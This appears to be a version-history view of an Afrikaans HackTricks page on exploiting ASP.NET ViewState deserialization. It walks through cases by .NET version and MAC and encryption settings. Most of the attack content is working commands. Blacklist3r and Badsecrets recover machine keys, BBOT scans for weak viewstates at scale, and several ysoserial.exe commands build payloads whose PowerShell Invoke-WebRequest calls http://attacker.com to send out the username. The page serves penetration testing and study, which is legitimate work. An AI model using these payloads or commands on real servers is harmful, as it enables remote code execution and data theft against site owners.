hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

215 lines
17 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# Uitbuiting van \_\_VIEWSTATE sonder om die geheime te ken
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-01 17:15:42 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-05-24 00:07:19 +00:00
2024-02-11 02:07:06 +00:00
## Wat is ViewState
**ViewState** dien as die verstek meganisme in ASP.NET om bladsy- en beheerdata oor webbladsye te handhaaf. Tydens die weergawe van 'n bladsy se HTML word die huidige toestand van die bladsy en waardes wat tydens 'n terugroep bewaar moet word, geserializeer na base64-geënkripteerde strings. Hierdie strings word dan in verborge ViewState-velde geplaas.
2024-02-11 02:07:06 +00:00
ViewState-inligting kan gekenmerk word deur die volgende eienskappe of hul kombinasies:
* **Base64**:
* Hierdie formaat word gebruik wanneer beide `EnableViewStateMac` en `ViewStateEncryptionMode` eienskappe op vals gestel is.
* **Base64 + MAC (Boodskap-verifikasiekode) Geaktiveer**:
* Aktivering van MAC word bereik deur die `EnableViewStateMac` eienskap na waar te stel. Dit bied integriteitsverifikasie vir ViewState-data.
* **Base64 + Geënkripteer**:
* Versleuteling word toegepas wanneer die `ViewStateEncryptionMode` eienskap na waar gestel is, wat die vertroulikheid van ViewState-data verseker.
2024-02-06 14:12:47 +00:00
2024-02-11 02:07:06 +00:00
## Toetsgevalle
2024-02-06 14:12:47 +00:00
Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET beskryf gebaseer op die .NET-raamwerkweergawe. Hier is 'n opsomming van die inhoud:
2024-02-06 14:12:47 +00:00
2024-02-11 02:07:06 +00:00
1. Vir **enige weergawe van .NET**, wanneer beide MAC en Versleuteling gedeaktiveer is, is 'n MachineKey nie nodig nie, en daar is dus geen toepaslike metode om dit te identifiseer nie.
2. Vir **weergawes onder 4.5**, as MAC geaktiveer is maar Versleuteling nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer word verwys na as "Blacklist3r."
2024-02-11 02:07:06 +00:00
3. Vir **weergawes onder 4.5**, ongeag of MAC geaktiveer of gedeaktiveer is, as Versleuteling geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Toekomstige Ontwikkeling."
4. Vir **weergawes 4.5 en hoër**, vereis alle kombinasies van MAC en Versleuteling (of beide is waar, of een is waar en die ander vals) 'n MachineKey. Die MachineKey kan geïdentifiseer word deur "Blacklist3r."
2024-02-11 02:07:06 +00:00
### Toetsgeval: 1 EnableViewStateMac=false en viewStateEncryptionMode=false
Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die `AspNetEnforceViewStateMac` register sleutel na nul in te stel:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
2024-02-11 02:07:06 +00:00
**Identifiseer ViewState Eienskappe**
Jy kan probeer om te identifiseer of ViewState deur MAC beskerm word deur 'n versoek wat hierdie parameter bevat vas te vang met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit uitbuit deur [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) te gebruik.
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Toetsgeval 1.5 - Soos Toetsgeval 1 maar die ViewState-koekie word nie deur die bediener gestuur nie
Ontwikkelaars kan **ViewState verwyder** sodat dit nie deel word van 'n HTTP-versoek nie (die gebruiker sal hierdie koekie nie ontvang nie).\
'n Persoon mag aanneem dat as **ViewState nie teenwoordig is nie**, hul implementering **veilig** is teen enige potensiële kwesbaarhede wat mag voortspruit uit ViewState-deserialisering.\
Dit is egter nie die geval nie. As ons die **ViewState-parameter** by die versoekliggaam voeg en ons geserialiseerde lading wat met ysoserial geskep is, stuur, sal ons steeds **kodes uitvoer** kan bereik soos in **Geval 1** getoon.
### Toetsgeval: 2 - .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false
Om **ViewState MAC** te **aktiveer** vir 'n **spesifieke bladsy** moet ons die volgende veranderinge maak aan 'n spesifieke aspx-lêer:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Ons kan dit ook vir die **algehele** aansoek doen deur dit in die **web.config** lêer in te stel soos hieronder getoon:
2024-02-06 14:12:47 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
2024-02-11 02:07:06 +00:00
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
As die parameter hierdie keer MAC beskerm word, moet ons eers die sleutel wat gebruik word, vind om die aanval suksesvol uit te voer.
Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die gebruikte sleutel te vind.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) is nog 'n instrument wat bekende machineKeys kan identifiseer. Dit is geskryf in Python, soos Blacklist3r, is daar geen Windows-afhanklikheid nie. Vir .NET viewstates is daar 'n "python blacklist3r" nut, wat die vinnigste manier is om dit te gebruik.
Dit kan of met die viewstate en generator direk voorsien word:
2023-03-24 21:40:35 +00:00
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
2023-03-24 21:40:35 +00:00
Of dit kan direk na die teiken-URL verbind en probeer om die viewstate uit die HTML te sny:
2023-03-24 21:40:35 +00:00
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
2023-03-24 21:40:35 +00:00
Om te soek na kwesbare viewstates op skaal, in samehang met subdomeinversameling, kan die `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) module gebruik word:
2023-03-24 21:40:35 +00:00
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
2023-03-24 21:40:35 +00:00
Indien jy gelukkig is en die sleutel gevind word, kan jy voortgaan met die aanval deur [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In gevalle waar die `_VIEWSTATEGENERATOR`-parameter **nie** deur die bediener gestuur word nie, hoef jy nie die `--generator`-parameter **te voorsien nie, maar hierdie**:
```bash
--apppath="/" --path="/hello.aspx"
```
2024-02-11 02:07:06 +00:00
### Toetsgeval: 3 - .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true
In hierdie geval is dit nie bekend of die parameter beskerm word met MAC nie. Dan is die waarde waarskynlik versleutel en jy sal **die Machine Key nodig hê om jou lading te versleutel** om die kwesbaarheid te benut.
2024-02-11 02:07:06 +00:00
**In hierdie geval is die** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module in ontwikkeling...**
**Voor .NET 4.5**, kan ASP.NET 'n **ongeslote** \_`__VIEWSTATE`\_parameter van die gebruikers **aanvaar**, selfs as **`ViewStateEncryptionMode`** op _**Always**_ ingestel is. ASP.NET **kontroleer slegs** die **teenwoordigheid** van die **`__VIEWSTATEENCRYPTED`** parameter in die versoek. **As hierdie parameter verwyder word, en die onversleutelde lading gestuur word, sal dit steeds verwerk word.**
Daarom, as aanvallers 'n manier vind om die Machinekey te kry via 'n ander kwesbaarheid soos lêertraversal, kan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) bevel wat in **Geval 2** gebruik is, gebruik word om RCE uit te voer deur gebruik te maak van ViewState deserialisasie kwesbaarheid.
* Verwyder die `__VIEWSTATEENCRYPTED` parameter uit die versoek om die ViewState deserialisasie kwesbaarheid te benut, anders sal dit 'n Viewstate MAC-valideringsfout teruggee en sal die benutting misluk.
2024-02-11 02:07:06 +00:00
### Toetsgeval: 4 - .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe beide eienskappe op false
Ons kan die gebruik van die ASP.NET-raamwerk afdwing deur die onderstaande parameter binne die web.config-lêer te spesifiseer soos hieronder aangedui.
2024-02-06 14:12:47 +00:00
```xml
<httpRuntime targetFramework="4.5" />
```
Alternatiewelik kan dit gedoen word deur die onderstaande opsie te spesifiseer binne die `machineKey` parameter van die web.config lêer.
```bash
compatibilityMode="Framework45"
```
Soos in die vorige voorbeeld is die **waarde versleutel.** Dan, om 'n **geldige lading te stuur, het die aanvaller die sleutel nodig**.
2024-02-11 02:07:06 +00:00
Jy kan probeer om [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) te gebruik om die gebruikte sleutel te vind:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
2024-02-11 02:07:06 +00:00
Vir 'n meer gedetailleerde beskrywing van IISDirPath en TargetPagePath [verwys hierheen](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
2024-02-11 02:07:06 +00:00
Of, met [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (met 'n generatorwaarde):
2024-02-06 14:12:47 +00:00
```bash
2023-03-24 21:40:35 +00:00
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
2023-03-24 21:40:35 +00:00
Sodra 'n geldige Masjien sleutel geïdentifiseer is, **is die volgende stap om 'n geserializeerde lading te genereer met behulp van** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Indien jy die waarde van `__VIEWSTATEGENERATOR` het, kan jy probeer om die `--generator` parameter te **gebruik** met daardie waarde en die parameters `--path` en `--apppath` **weg te laat**.
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
'n Suksesvolle uitbuiting van die ViewState deserialisasie kwesbaarheid sal lei tot 'n out-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie soort uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron getiteld "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die verskafte [PoC van Suksesvolle Uitbuiting](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) nagaan.
### Toetsgeval 6 ViewStateUserKeys word gebruik
Die **ViewStateUserKey** eienskap kan gebruik word om teen 'n **CSRF-aanval** te **verdedig**. As so 'n sleutel in die aansoek gedefinieer is en ons probeer om die **ViewState** lading te genereer met die besproke metodes tot dusver, sal die **lading nie deur die aansoek verwerk word nie**.\
Jy moet nog 'n parameter gebruik om die lading korrek te skep:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
2024-02-11 02:07:06 +00:00
### Resultaat van 'n Suksesvolle Uitbuiting <a href="#poc" id="poc"></a>
Vir al die toetsgevalle, as die ViewState YSoSerial.Net lading **suksesvol** werk, reageer die bediener met " **500 Interne bedienerfout**" met 'n responsinhoud van " **Die staat inligting is ongeldig vir hierdie bladsy en kan beskadig wees**" en ons kry die OOB versoek.
Kyk vir [verdere inligting hier](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/\[\*\*https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\*\*]\(https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\)/README.md)
2024-02-11 02:07:06 +00:00
## Verwysings
2022-04-05 22:24:52 +00:00
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
2022-04-05 22:24:52 +00:00
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
2023-03-24 21:40:35 +00:00
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-05-24 00:07:19 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-01 17:15:42 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>